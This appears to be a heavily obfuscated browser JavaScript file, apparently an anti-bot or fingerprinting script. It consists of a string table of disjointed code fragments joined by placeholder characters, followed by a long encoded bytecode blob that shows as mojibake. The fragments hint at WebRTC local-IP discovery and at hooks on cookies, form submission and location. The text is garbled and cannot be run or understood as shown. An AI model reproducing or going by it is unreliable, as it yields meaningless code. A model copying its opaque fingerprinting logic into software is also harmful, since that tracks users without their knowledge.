if(ÿ(65536);ÿ.length/4-2,ÿ);break;case 68:if(ÿ[9]](0,16);}function ÿ, --ÿ.length)[ÿ[367]]<2000){var ÿ[487]],ÿ[373]);var ÿ[1].length>0){var ÿ[60]){var ÿ>0x77359400?ÿ[16]){}else{ÿ*=ÿ,\'x\');ÿ[407],ÿ>>4)];if(ÿ++ ;}while(ÿ[8];ÿ<64){return ÿ[81]])||ÿ=[0,1,3,7,0xf,0x1f];return(ÿ*1000];ÿ(112);function handleCandidate(ÿ,\"&\",ÿ[371]){if(ÿ===126)ÿ[0]);case 2:return ÿ= !this[ÿ[670])return true;return ÿ[80])!= -1)ÿ===32||9<=ÿ===82?ÿ[341]];try{if( typeof ÿ(18,ÿ[0]=ÿ)):ÿ[ ++ÿ[0]=new ÿ[49]];}ÿ[710]]===ÿ[6]](\'%\',0);for(var ÿ++ );}}break;}if(ÿ.join(\',\')+\'}\';}}return ÿ/20)])|0;ÿ.length;){if(ÿ.length>1)ÿ.rows[ÿ[276]];var ÿ,0,2);var ÿ[88]]||ÿ(256);}ÿ[4];ÿ[145]]){}else{ÿ.top[ÿ=[0,ÿ[4]+ÿ.top)ÿ*0x101^ÿ<=0){return;}if(ÿ);}while(ÿ-- ;}this[ÿ(144,18);else if(ÿ[603],ÿ(768,13);}function ÿ[236])];ÿ,\'#\');var ÿ[61],ÿ[84]];var ÿ[32]]===1&& typeof ÿ(55)){ÿ==\"GET\"){var ÿ);}}}}function ÿ+1]<<16)|(ÿ[490].length;if(ÿ){}}else if(ÿ[14]];var ÿ+2];ÿ(67,\"/\");}return ÿ[78]](/(^\\s*)|(\\s*$)/g,\"\");ÿ[406];ÿ&&/\\b((submit)|(open)|(location)|(cookie)|(onsubmit)|(action)|(href)|(search)|(src)|(setAttribute)|(getAttribute))\\b/g[ÿ[682]));ÿ[235],\"new\",ÿ[31]];ÿ());return ÿ,false)));}ÿ[70]];ÿ());break;case 78:if(ÿ(87,ÿ(70,\"!=\");}default:return ÿ].length===0){continue;}ÿ[46]]===4){ÿ(3);return ÿ+=\'?\';}if(ÿ[474]]===false;}function ÿ[400],ÿ&0x3F)<<6)|(ÿ[326]));ÿ(76,\"[\");case 93:ÿ,0);for(var ÿ[7])return ÿ=1;}}}return ÿ();break;case 77:ÿ,/^\\s+|\\s+$/g,\'\');}function ÿ[500]];}ÿ,2));}var ÿ[667];ÿ[683],ÿ[58]);var ÿ[86]].log(ÿ[48]],ÿ[0]])ÿ].y;if(ÿ,1);}function ÿ);}else{if( !(ÿ]]);}ÿ,\'\\n\');ÿ[65]]=ÿ[577],ÿ[1]++ ;}else if(ÿ(arguments[ÿreturn[0,0,0,0];ÿ>2592000){return ÿ!=null&& !ÿ[8]];ÿ<<3^ÿ.y);break;case ÿ=null;}ÿ=false;try{ÿ++ ;}}}function ÿ(146,134217728,35);ÿ);case 39:ÿ]<ÿ[1]]=ÿ[1]){if(ÿ;}}}function ÿ[0]]!==\'\'&&ÿ++ );}while(48===ÿ])<<(6-ÿ-14]^ÿ,1));ÿ,true,true);if(ÿ[165]);var ÿ[67]],\'//\',ÿ[39]].length>1||ÿ[44]]){try{ÿ[49]],ÿ[687],ÿ[455],ÿ);break;case 74:case 75:if(ÿ[663],ÿ>>>8;ÿ[96]);if( !ÿ[58]){if(ÿ[9]],ÿ[92]](\'a\')?102:11;}function ÿ===\"\"){return ÿ[7])||(ÿ,0)===\'?\')ÿ.length>0){for(var ÿ-1;}}if(ÿ[56]){ÿ)){return new ÿ[475],ÿ<=8;ÿ[390],ÿ[116],ÿ=\'-\';if(ÿ=false;}}function ÿ[391],ÿ[629]+ÿ();break;case 2:ÿ[620];ÿ[343])){ÿ[34];var ÿ[551]]?ÿ[0]]+\'.y\',ÿreturn 1;ÿ)return this.ÿ=\'\';}else if(ÿ=Math,ÿ);break;case 61:if(ÿ[348]),ÿ(144,15);}else if(ÿ=[0,0];}ÿ[63])){ÿ.length)];}while(ÿ+1<ÿ[51]));}else{return ÿ(144,2);}else if(ÿ[26]){return ÿ[66]&&/^(\\[object) Location|Object|DOMPrototype]/[ÿ++ ),ÿ;}}else{if(ÿ&7;ÿ=\"\"+ÿ[296]+ÿ[411]]||ÿ-1];ÿ-1]=ÿ&0xc0)===0x80)return((ÿ[1]),(ÿ.ctl&&ÿ=0.8;var ÿ[298])]||ÿ(10000):ÿ(10000);ÿ(790));ÿ[98]]();return;}}function ÿ>0xFFFF;ÿ<=80){ÿ[3]],\'#\')[1];return ÿ=this;ÿ[133],\"try\",ÿ[230],ÿ();}}ÿ[165]){var ÿ()).ÿ);}switch(ÿ()),ÿ(71,ÿ);break;case 62:if(ÿ[159]];}function ÿ(17));ÿ[267]],1,ÿ].parentElement[ÿ]=\"$_\"+ÿ[85]](new ÿ[668]](ÿ[16]];}function ÿ<<30)|(ÿ[5];var ÿ(67,\"%\");}case 38:ÿ));case 50:ÿ[283]]){ÿ[173]),ÿ[7]){return;}var ÿ===\"+\")ÿ(\'([0-9]{1,3}(\\\\.[0-9]{1,3}){3}| (([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|([0-9a-f]{1,4}:){1,7}:|([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|:((:[0-9a-f]{1,4}){1,7}|:)|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-f]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])) )\');ÿ===111||ÿ===32||ÿ.length/40960)),ÿ[39]];}function ÿ[292];ÿ(1)?ÿ(171)){ÿ>126){ÿ))return true;return ÿ[435]];ÿ(72,\"&&\");case 61:ÿ(1))ÿ[43]]);ÿ[621])!== -1;ÿ){case 45:ÿ[84]&&ÿ<4){ÿ(668);ÿ&0xff;}return ÿ&15)<<2)|(ÿ);}try{if( typeof ÿ!== -1){var ÿ<=56)break;}else if(ÿ[458]]!==ÿ[30]]==ÿ>0){return;}var ÿ[679]]=new ÿ[61]]);}}ÿ[43]]);break;}ÿ++ )]*86+ÿ,\'?\')!= -1)ÿ<<8^ÿ[2]=(ÿ[277]]||ÿ[641]]);ÿ++ ]<<24)|(ÿ[0]>>>0;}function ÿ[597]])return ÿ){case 3:case 2:case 1:return ÿ];}}ÿ():null;if(ÿ,1);}else{ÿ:return true;default:return false;}}function ÿ[16]],ÿ(24);ÿ<=90)||(ÿ(264, -180,180,ÿ[638]),ÿ[635]];}catch(ÿ)));}else{ÿ[404]);if(ÿ(\"get\");ÿ=true;for(var ÿ[88]));}else{ÿ=[0,0,0,0,0,0,0,0,0,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,9,9,9,9,9,9,9,9,9,9,0,0,0,0,0,0,0,11,11,11,11,11,11,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,0,0,3,0,11,11,11,11,11,11,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,0,0,0];;;;;;var ÿ=16-(ÿ[377]]||ÿ[117]){for(ÿ(15);var ÿ*8|0);this.ÿ.abs((ÿ(83, !ÿ(1024),ÿ[9]](20,24));if(ÿ)+\"=\"+ÿ.length<=1){return ÿ[1]:null;ÿ+=\'?\'+ÿ=false;break;}}var ÿ[107],ÿ[0][0]&& !ÿ[41]]){return ÿ+\")\");}function ÿ=1;else if(ÿ[40]));if(ÿ={};var ÿ===101||ÿ+\"=\")> -1||ÿ.length)ÿ).split(ÿ){}}}ÿ|=67108864;if(ÿ[65]];for(var ÿ(144,21);}else{ÿ[79],\"if\",\"try\",\"var\",ÿ>>>24]]^ÿ===\"--\"||this.ÿ=1;}}}ÿ[623]]();else ÿ,false);if(ÿ[18])&&( typeof ÿ,\':\');if(ÿ(19)+ÿ[172]);if(ÿ[473],ÿ)){this.ÿ));}catch(ÿ+1);ÿ===\'1\'||ÿ[44]];ÿ.y||ÿ+\'\"\'),this.ÿ[294]]){ÿ)];}function ÿ[312])!== -1;ÿ-1];for(ÿ.charCodeAt(ÿ[141]];ÿ=0.35;var ÿ[596])&&ÿ[27]?\'443\':ÿ(arguments[2],0);}if(ÿ(768,1);}function ÿ=Date,ÿ[41]])return ÿ(75,\"/=\");}return ÿ))||((ÿ[63])){var ÿ[0],\"=\"),ÿ[181],ÿ(82);}else if(ÿ));}}function ÿ[451]]=ÿ[240],ÿ[41]]=ÿ[99]]);ÿ();break;case 3:ÿ]);}return ÿ,1);}else{ ++ÿ[228]]=200;ÿ(2,1);return;}else ÿ[2]]!==ÿ[23]){var ÿ[563],ÿ,16);if(32<=ÿ=[[],[],[],[],[]];ÿ[4]++ ;}else{ÿ[307]+ÿ<128; ++ÿ=true;}catch(ÿ[210]),ÿ)?0:ÿ=false;}var ÿ[69]](ÿ===\'a\'){ÿ[453]]=ÿ<0xe0){ÿ[2]]){var ÿ={});ÿ(146,8388608,4);if( !ÿ;}else{return;}}if(ÿ(78);return new ÿ(70,\"===\");default:return ÿ[459]](ÿ[40])&&ÿ[69]](false);var ÿ(true,false))):ÿ[646]&&ÿ;}}for(var ÿ[493]];ÿ)return true;}}return false;}function ÿ.length-1];var ÿ[8]].hasOwnProperty[ÿ[1]:null;if(ÿ[81]];if(ÿ[228],ÿ.join(\',\')+\']\';}for(ÿ(3);if(ÿ&255]];}}return[ÿ[655],ÿ>=0xaa&&ÿ[481]+ÿ[112])))ÿ[43]]==0&&ÿ[41]](ÿ[1]](\'id\',ÿ=\"1.0\";þ(þ\'þ)þ*þøþùþ+þ,ûû0þ\nþþ þ\nþþoþþsþþîþþuþ\rþþþ9ùþÌúþÒÔþ&þÒþþ¤þþÚþþ þþ>þ\nþ þøòºþ(þÔþ þþ!þ¬þþ`þ*þ×ûþÄñû>þ\róþþÄþ,þãþ àþ ¹þ\r þ\nþ ¦ þÑ þ ²\rþ7þpþ¥ûûþ¯ûþaûþ½û ûþ\nZþû þ\rþû ûþÑûûþ:ûûþ|ûûþvþûûþ\rñþûûþÓûûþåûûþ:ûûþ«ûûþ½ûûþûûþ¯ûûþkûûþ\rûþ\n²û_ûþ×û_ûþ tû_ûþ P û_ûþ :!û_ûþ½þû_ûþU\"û_ûþ\rW#û_ûþÞ$û_ûþæ%û_ûþb&û_ûþ \'û_ûþ¡(û_ûþ )û_ûþP*û_ûþ bûûþ[+û _ûþþ,û_ûþw,þ y-.Ø/l01Þ2þu3þ@4þ\n÷5þÌ6ûûþC7ûûþ\r.þûûþE8ûûþxþ 3;ûûþ÷Cþ\nJþ&þ$m×þ=û\nmFûíþ \"tþ,uþD¡ûûþðþ\r;þû¯ûþ¤>¥>¦>§>¨>©þ$ªû%û\nûþÝþþ\n^þ3°!±!²lþþûþþ×ÂÃþþþ¨þ3Èþóþ>^þOûþPûûþ\r°þþóþùþ9þþ 8áûþþ?3ä>å!æ!ç!è!é!ê!ëþþø/lìíîïûðbþ þùþþùþÌþùþ\n¯þùþCþùþÄñûóþÅôþ\nÊõ!ö!÷!ølþ\x00!þ!þ!þlþ!þ!þlþûþ1\'ûþ\rÁþûþ(9:ûþºûþåþ7ûþ_þþþþþþþþþ þ\"þ#þ$þ%lþ\'lþ)lþ+þ,þ-þ.þ/þ0þóþ@þÍþ1û_ûþwþ2Þþ8lþPþSþS5ûþ6ûþ7ûþ?8ûþ9ûþ:ûþ;ûþ<ûþQ=ûþ >ûþtþ!þþvû EûþAþvû FûþBþvû GûþCþvû HûþDþvû IûþEþvû JûþFþvû KûþGþvû LûþHþvû MûþIþ\nÃþxû TûþJþxû cûþ3þxû EûþKþxû FûþLþyû TûþMþyû cûþNþyû EûþOþyû FûþPþzû TûþQþzû cûþ8þzû Eûþ\'þzû Fûþ&þ{û TûþRþ{û cûþSþ{û EûþTþ{û FûþUþ|û TûþVþ|û cûþWþ|û EûþXþ|û Fûþ/þ}û TûþYþ}û cûþZþ}û Eûþ[þ}û Fûþ\\þ~û Tûþ]þ~û cûþ^þ~û Eûþ_þ~û Fûþ`þûþþvþû Tûþaþû cûþbþû Eûþcþ û Tûþ#þ û cûþ8þ û Eûþ\'þ û Fûþ+þ¡ûþþvþ¡û Tûþdþ¡û cûþeþ¢û Tûþfþ¢û cûþgþ¢û Eûþhþ¢û Fûþiþ£û Tûþjþ£û cûþkþ£û Eûþlþ£û Fûþmþ¤û Tûþnþ¤û cûþoþ¤û Eûþpþ¤û Fûþqþ¥û Tûþrþ¥û cûþsþ¥û Eûþtþ¥û Fûþuþ¦û Tûþvþ¦û cûþ8þ¦û Eûþ\'þ¦û Fûþ&þ§û Tûþwþ§û cûþxþ§û Eûþyþ§û Fûþzþ¨û Tûþ{þ¨û cûþ|þ¨û Eûþ-þ¨û Fûþ.þ©û Tûþ}þ©û cûþ8þ©û Eûþ,þ©û Fûþ&þªû Tûþ~þªû cûþþªû Eûþ þªû Fûþ¡þ«û Tûþ%þ«û cûþ5þ«û Eûþ¢þ«û Fûþ£þ¬û Tûþ¤þ¬û cûþ¥þ¬û Eûþ¦þ¬û Fûþ§þ­û Tûþ¨þ­û cûþ©þ­û Eûþ)þ­û Fûþ*þ®û Tûþªþ®û cûþ«þ®û Eûþ¬þ®û Fûþ­þ¯û Tûþ®þ¯û cûþ8þ¯û Eûþ\'þ¯û Fûþ&þ°û Tûþ¯þ°û cûþ8þ°û Eûþ\'þ°û Fûþ&þ±ûþþvþ±û Tûþ°þ±û cûþ±þ²û Tûþ²þ²û cûþ8þ²û Eûþ\'þ²û Fûþ&þ³û Tûþ³þ³û cûþ´þ³û Eûþµþ³û Fûþ¶þ´û Tûþ·þ´û cûþ¸þ´û Eûþ¹þ´û Fûþºþµû Tûþ»þµû cûþ8þµû Eûþ\'þµû Fûþ&þ¶û Tûþ¼þ¶û cûþ2þ¶û Eûþ½þ¶û Fûþ\"þ·û Tûþ¾þ·û cûþ7þ·û Eûþ¿þ·û FûþÀþ¸û TûþÁþ¸û cûþ8þ¸û Eûþ\'þ¸û Fûþ&þ¹û TûþÂþ¹û cûþÃþ¹û EûþÄþ¹û FûþÅþºû TûþÆþºû cûþÇþºû EûþÈþºû FûþÉþ»û TûþÊþ»û cûþËþ»û EûþÌþ»û FûþÍþ¼û TûþÎþ¼û cûþÏþ¼û EûþÐþ¼û FûþÑþ½û TûþÒþ½û cûþÓþ½û EûþÔþ½û FûþÕþ¾û TûþÖþ¾û cûþ×þ¾û EûþØþ¾û FûþÙþ¿ûþþvþ¿û TûþÚþ¿û cûþÛþÀû TûþÜþÀû cûþ1þÀû EûþÝþÀû FûþÞþÁû TûþßþÁû cûþàþÁû EûþáþÁû FûþâþÂû TûþãþÂû cûþäþÂû EûþåþÂû FûþæþÃû TûþçþÃû cûþèþÃû EûþéþÃû FûþêþÄû TûþëþÄû cûþìþÄû EûþíþÄû FûþîþÅû TûþïþÅû cûþ8þÅû Eûþ\'þÅû Fûþ&þÆû TûþðþÆû cûþñþÆû EûþòþÆû FûþóþÇû TûþôþÇû cûþõþÇû EûþöþÇû Fûþ÷þÈû TûþøþÈû cûþùþÈû EûþúþÈû Fûþ\x00þÉû TûþþÉû cûþ8þÉû Eûþ,þÉû Fûþ&þÊû TûþþÊû cûþ4þÊû EûþþÊû FûþþËû Tûþ$þËû cûþ6þËû EûþþËû FûþþÌû TûþþÌû cûþþÌû Eûþ(þÌû Fûþ&þÍû Tûþ þÍû cûþ\nþÍû Eûþ þÍû Fûþ þÎû Tûþ\rþÎû cûþþÎû EûþþÎû FûþþÏþ\rûþÂûþûþ´ûþ ¶ûþVûþ:ûþ ®ûþ\'ûþ«ûþ­ûþkûþôûþ×ûþ ´ûþ íûþñûþXûþ¤ûþÃûþïûþÂûþ\nûþ·ûþ\r\\ûþ >ûþBûþ­ûþ¥ûþ lûþÉûþ=ûþ·ûþRûþ ÚûþWûþÖûþ=ûþ_ûþlûþÜûþ ûþ´ûþ£ûþ`ûþ8ûþûþûþ3ûþ~ûþdûþäþÑþþÓûþ\nûþ îþØûûþÚþÙûûþ£þÚûûþ §þÛûûþ\nWþØûþ\nþØþÙûþ\nþÙþÚûþ\nþÚþÛûþ\nþÛ\"þÞþvþ0þ c©ûþªûþ«ûþ¬ûþ­ûþ®ûþ¯ûþ°ûþ±ûþ²ûþ³ûþ´ûþµûþ¶ûþ·ûþ¸ûþ ¹ûþ!ºûþ\"»ûþ#¼ûþ$þîþ RþïþÛþðlþñþ)þòûþùþ¦þóû*û*sþòþðþùþîþùþ -þ93þôþõþöþ÷þøþùºþúþ\x00þ«þþþþ½ûþ<þ:þ%3þûþ;3þ)Lþg þûþgþþþþ§þþþûþgþÆþ!þ?þ\rþ¬þþûþgþÊþþþ·þþ,þ7þ(þþ½þûþþbþþ©þþ¹þ7þ(þþÕþûþþþþþjþlþþþg þûþ\rÒûûþgþ¯þ9<ûþ N:$þûûþ¿þûÁþûþ$û\nþûþÛþûþ\n*þûþºþöþþ C-ûO0ûaþ-ûIkÉ<þgþg %þgþ @þ(ûþÆþûûþÑþghþûû\nþg[;/ûþûþí;jþ=þg þûûþ\nÐþûþvþûþgþþ!þ!þþþþ\rþþûû\nþgþ»þû û\nþþþþ8þþ7þjþþ\nþg þþ$þû%û\nþgþ ¤þþ\rþ,þþÉþû=þþþ\nòþûþþþ\rÓþûþþTþþ\nþþ\rþ,þ7þ þ û&û\nþþþþ =þ þKþ>$þûûþ>ûþ¸þûþþþ\"þþ;û¼þ?þgþgûþgþ@þû%û\nûþ\nþþÕþþ\rþ,þþûþþQ¼þþgÌ&û\nþþgþÐ@$þþÚþþþþþûþþ\nþþþ0þþþ\x00þþ$þþ³þþÝþþþjþAþgiþg ûëþgûºþg\"þûûàûû@þÍþþ Çþûþgþþ\rþþ)þIþþ(þþþ°þgþþ õþþSB$þÚþþþ\rþ þûþþ\nþþþXþþóþþ÷þIþþÐþþ\"þþþþRþDþgiþg ûëþgûºþgþgûþgûdC.EþgEþgiþg ûëþgûºþg\"þûàûBþÍþ!þûþgvþþXþ\rþþûþþþ°þgþþ úþFþgþhþiþjþgûþ¼þgûçþhþiþjhþhþ ­þhþgûþ þhþi&Gþgþhþiþgûþ\r0þgûþ\r9þhþiþþgûþ#þhþiHþgþh þûþhþþ\rþþ¡þhþ§þgþ jIþ4 :ûþ`J<Òûþ4 :ûþWKþgþh þûþgþhþcþþ ªþþ \'þþþþ\rwþgþhþ nþþ Gþþ aþgþhþ ¨þgþhþ©þþ¦þþÔþgþhþtþgþhþþgþhþ ´L<þ.\'Igþ/Mþg þûþgvþþPþÕþþ\rþþ6þûû\nþgþþ\n~þ%þþGþþû\nþgþþþþû\nþgþþþÙþ þ¼9:ûþ8ûþaûû?>þ3Nþg þûþ0þXþþåþû9:ûþºûþÎþþïþ1\'þ\'þgO$þþ¸þûûþ©þûþûþ%þûÜûþþïûþþþÁþþ.þ(ûþ\nºþùUûþûþ\nSþ *Pþgþhþi þÚþþ\rþi,þþþþ=þþ>þ¦ûþ\nÕþþ¤þgþhþiQþgþhþiþ5þiþþgþhþ&þgþhsþiþFþgþhsþieþiþÄþgþhsþieþi³þiþ 8Pþgþhþi&Rþg þûþgvþþPþþþþ bþþ\rþþþûû\nþgþþþ·þþ9þþþþ{þþEþþþþ¨þþû\nþgþYþÙSþg þû%û\nþgþ iþþ¡þgþ¡þ?þ\rþ,þ6þûþþQþþþû&û\nþþ\\þûûþ\nþþæþþþ ôþþûþ /þï&û\nþþÞþþþ6þþþúþÙTþg þþ ×þûþgþgûSþgþgþg4þH)û\nþgUþg þûþgûþhþþ!þþþÄþþûþþ þ\rþþû þsþþþ4þþþþ þjþV$þû¬þ0þ¼.[þWþg þþ¥þûÀþgþéþþ[þûþþ~þûþþ¢ûþ¥þûþ¦þþþâþþþéþþþ7þþ,þþ\rþþþþþ\nñþéþþþ7þþ þþqþûÎþþiþûÎþþúþþ þþþ Ãþéþþþ7þþ¹þûÎþþ !þþ\r5þûþþ°þþ2þþ¿þjþXþg2ÝþgVþRYþgþh þû¬þg\"þÚþh.þþþ>Zþg2+û\nþgÂûþ E[þg þûÒûþ#ÒûþJþgûþgûd^Jþµþþ\rþg,þþgþþ þEþgþþ@þg\\þg þûþgûþ\nâþþ \x00þûþþ\rOþ!þûþþ þ\rþþþþ Èþuþûþþ«þûJgàþûþ\rþþ¾þûþûþeþ\"þûÒûâûþ¹þþÅþ ûþþþ\nþbN.0þþXþ\rþ þþþþ\"þþþJþ\n)´þèþ.þ]þg þûþgvþûþ2!þûþgþ¥þþþþúþ\rþþûþgþäþþ2pþþÃþþ2pþþéþþ2pþþ5þþ2þþ%þ^þgþ_þgþ;þgþ\rþgþ úþgþ\n_þg þbþûàþg.þþd`$þû¬þ0þ ³þ²þþñ[þa$þûûþûþ þ þû(û\nþþ/ûþ þ/ûþþ/ûþàþþ þþ 6bþgþh þFûþ pûþâûþøûþ fûþ«ûþªûþ Üûþ ?ûþ |ûþ \nûþ @ûþ áûþ°ûþ\n.ûþûþþ¤ºþLþþØþÙþÚþÛþÜþZþhþÙûþ!þÙhþÙûþ3þÙ)þ¤þ\n½þÙþ(þÛþÜþûþgû÷þØþÙþÚþÛþÜhþûþgû÷þØþÙþÚ)þgûþ«þ¥@þþþþØþþØûdþØþ¤þ\n¸þh.þgûþyþØþ¥þØþÙþ¤ûþ\nµþgûþ ôþgûþ§þ¤ûþ\r¡þgûþFþ¤ûþ\nþgûþ\nþ¤ûþ¯þgûþ±þ¤ûþFþgûþCþ¤ûþ\nÆþgûþ\nÅþ¤ûþ\r_þgûþ þ¤ûþÆþ¤þuûþlþØþÙ&þþØ2þLþþ»þgþØþ&þgþØþ þgþØþØþgþØþ\nËþþ\rþ,þ6þûþþ0þ¤þþþþ¤)û\nþþ¾þ¤þ0þ¤(û\nþþ¾þ¤þþþ¤ûþÏþ¤ûþoþ¤ûþçþþ¤ûþ}þ¤ûþþ¤ûþþþ¤ûþ»þ¤ûþEþgûþ«þ¥@þ¤cþgþhþ<þgûþ?(û\nþgûþÐþhãþþdþgþhþi´þ%µþ\nþi þôþ\neþg ûþ^þg ûþ~þg ûþÕþûþþhþþgûþ#þgþþ\nQþgeþgþhþi þþþûþgþhþ#þûþhþ\rþiþ Ãþþgþþgþþ *þgþiþþfþgþhþi þþþûþgþiþÉþûþiþ*þþdþhþþþgþþgþþ\rïþgþhþgþgþhþi þþþÕþûþhþûþiþ*þ\rþ¬þþ/þþûþgþ0þgþþgþ0þgþþ-hþgþhþiþj þû ûþ&þh\'þiþHþjSþjþ.þTþhþ`hþgþhþþj[þiTþþ`hþgþþiþjmfþgþhþiiþgþhþiþj þû ûþ&þh\'þiþHþjSþjþ.þTþhþ`iþgþhþþj[þiTþþ`iþgþþiþjmeþgþhþijþgþhþiþj þû ûþ&þh\'þiþHþjSþjþ.þTþhþÉjþgþhþþj[þiTþþÉjþgþþiþjmgþgþhþik$þ¤þeþþûûþ ÎþûûþTþþþêþþûþ(þ+þ%þ+þþ¤þþ þþrþþªþ¤þþþìþþ }þ¤þþ ÝþþFþþ\n­þ¤þþþìþþ þ¤þþ%þ¤þþEþ4ûþLþ<þ¤-l$þûûþ\n¤þþþjûþaIgþ--nþgiþg4ûþ\nGþÚþþ\rþg,þþ þgûzþþmþoþgþhþiþjþjûþ\\þjûþB¶þjûþpþjûþBXþjûþpmûþ eþjûþ\n+mûþ¨þiþùþ%þûþ þgþhþiþ (þi+%þiþ°þ(mûþËþ( û\nþþ^þþ \'þþêþ7þ5þVþi(þjûþ\\þþ µþ6æþjûþ ¡þþ $þ¤ûûÃûþþ¤þFþ¤ûþßþþþØþØûþBþ¤ûþ\x00þ¤ûþ %pþØ&pþg þûûÃþ7þ þû%û\nþûþþûþþ]þûþþeþûþþÓþûþþCþûþþäþ ûoþþþþg\"þ\nûÁ9:ûþ¾þþrþ û9:ûþ þ ûÁþ þ7þ þ þ\rûûþIþûþ\rûþµþ û\nþûþ,þ\n û\nþ þÑþ þ¾þ þpþ þ 7þ8þVþûþ$9:ûþ.þ \'þ\nþþûûªûþ÷þû8ûþ¶ûþzþûþ@þ þûûªûþ·þûþ þ9þûþþþû£þþ?þÈûþûþwû£þþûþ!qþg þû û\nþgþ (þþIþgû&û\nþg¸þþû!û\nþgþ\r/þþUþû!û\nþgþþþ ëþ\rþfþ\rþgþ (û\n&û\nþgþþµrþgþ1þûqþg.þHþÃ}þþsþg þFûþñûþ Eþþ\rþ,þ¡½þgþþþÃv¹tþPuþQþûûþ>ûþ\n}þûþþ þSþþÌþûþþNû9ûþ ËþþþÄ--þ&½þûþ\n5½þûþ Âtû{þ.tþ ,t-wþgþgûÀÀþgþ\nôþû!û\nþgþ &û\nþg¸þþQx$þûvZþ þ½þþZþûwþ \"þûw9:ûþ `þ/þþyþþþ\nÌyþgþg/þgþ®þg ûþþgûþ\n þgþKþgû»þgnþû{þgþþ\x00þûxZþþÖþ\nþ:þû{þþ r hþû{þþÁþ\nþÞþþ Èzþg þû«âþg^þ:û%û\nÂþ\r)þþ\rþ:,þ¡þ:þ§þþ\nã{þg þ×þ\nûþgþ ûþ ûþ\rûþûþûþ ûþûþû1þþþû1(½þgþGþþdþþìþû93þûþûþmþþ7§ûþÒþþ\râþ7§ûþ\r÷þþâþûûþÚþ6þgþ6þ6Qþ6þô1½þ6Æûþþþdþ~þ7§1%þ7§3þ\rûþ7þµþ\rûþ7þþ\r ûþ=þþ\njþ~þ\r/ûþNþ\r/ûþåþþdþ~þûþæ1·½þûþ8ûþ¨þþ\nûþ2þû«wþûþªþûþ÷þûþ1þûþûþCþûþûþ 6þûþ1%þûþ þûþaþûþûþ?þg 1þ ûþ8þKþ8§1X½þ6Æûþaþ ûÀÀþûþ84þ¡þ û2þþ8Nûþ2þ û2Eþ ûû\nþ þ8þ äþûû\nþ3þ\"þûû\nþûþÈ3þþ þ¼þg4DþûþöaþûþûþRþûþûþ\n¨þûþ ÌþûþÚ1þ ûþûþ òþ ûû\nþ\r5þþ3þ\r ûþNþþ þ\r ûþþþ ¤þ ûû\nþ 3þþÆþ6§1þ ûû\nþ þ þþhþ ûþ6þêþûû\nþþ8Æþö\"þ ûû\nþþ þþûþ þ (þ þ%zþÄrþ DþþBþûWþ .þ~sþgDþþ\nþþÌþûWþ hþþ æþ\nþþ äþ|þg þFþ;þ<þ=þ>QþgþDþg ûþ¹þgþjþ>þþþgû%û\nþgþÝþþ\rþg,þþûþgþ0þûÀþþ\nHþeþþÂþ þYþþÄþg-}þgþg þûÀÀþg\nþþû|þþ tþHû\nþþãþþgþ\nÓû\nþeþgYþg\n~þg þþ\nÀþgÂûþÐþgþ\nHûþmûþ\nnþþg2 ûâþYþg þgßþþþûþgþhþþ=þþþû ûâþYþþûþgþ0þgþþgþ0þgþþjþgþ¹¡þ@¡ûþÇûþ J¡ûþ]ûþ\r\'¡ûþ\nqûþ\rsþ¡ûþÓ¢þgþhX¡þ~þg ûþ\\þgûþgnþû£þgþþhû\nþïþhþgûûþ!þg¡þgþh£þgX¡þ~þg ûþ\\þgûþg)þgûûþ!þg@¡þgÁþþg2­þgûþcþþ\n¥þ?þ?þ½þ?©þ?þºþ?þ?\rª,þ?6þûû\nªþ?þ}¤þþ?þ\rÆ¥þþ?þ\r¦þþòþ?þt§þþ?þR¨þþòþ?þ C©þþ?-«þgþhiþg ûëþgûºþgþhûþh%ªþþûþ2!þûþgvþþþ ûþ#þþ ­þûþgþ ¢þ\rþþûþgþäþþ2þhþþMþûþgþäþþ2þhþÊþþ8þþoþûþgþäþþ2þhþÊþþSþþ,þþ2þhþþþ\rþgþ þûþgþ0þþ2þhþþMþûþgþPþ0þþ2þhþÊþþ8þþ;þ/þþ2þhþþþ\rèþÙ¬þg þûþgvþ ûâþþ×þþþþþ!þ !þ\nûþþ\nþþ\rþ\nþ)þûû\nþgþ»þûû\nþgþ»þûû\nþgþ»þûû\nþgþ»þþ ¤þþ-¥þ0þþ ¦þþ-§þ0þþ ¨þþ-©þþþ\rþþûû\nþgþ»þûû\nþgþ»þþ ¤þþ-¥þQþ\rþþûû\nþgþþþ ¦þþ-§þþÃþ­þg þû¬þg.·þ®þg þû¬þgPþIþþ óþ³þûþvþÕþþþ\rþþþ qþþþ®þþTþþ þþþþHþþ_þþÃþûþ\r¢¯þg2·®þgP´þ%µþþ$þþ2þþ2þþ\nþþþþþþþþþnþ¤þ éþþ²þþ0þþwþûþþäþþû\nþ¤þPþþû\nþ¤þþ¤ûþþ@ûþþ¥û%ûþ\nuþAûþLþ<þ¤þ<þ¥-³þgþhþh %þh±þÇþg´þgþh°þÇþg(þh±þÇþgµþgµÇµËþþ²þûþ ðZþ þûþûþ\n|þþ8þûþûþËþû%û\nþþÀþûþþGþþaþþ*þûþþG û\nþûþ +¼þûþ .þ ûþ;¢þgþNþCµþô¶þg þþûþgvþþþ þûû\nþgþÒþ!þ?þ\rþ¬þþûû\nþgþþþêþþ¹þ7þ(þþÕþþ Öþþ þþ,þ7þ(þþ½þþþþKþþ\n»þ7þ(þþ |þþ òþþþjûþsþþþg þþûþgvþþþ 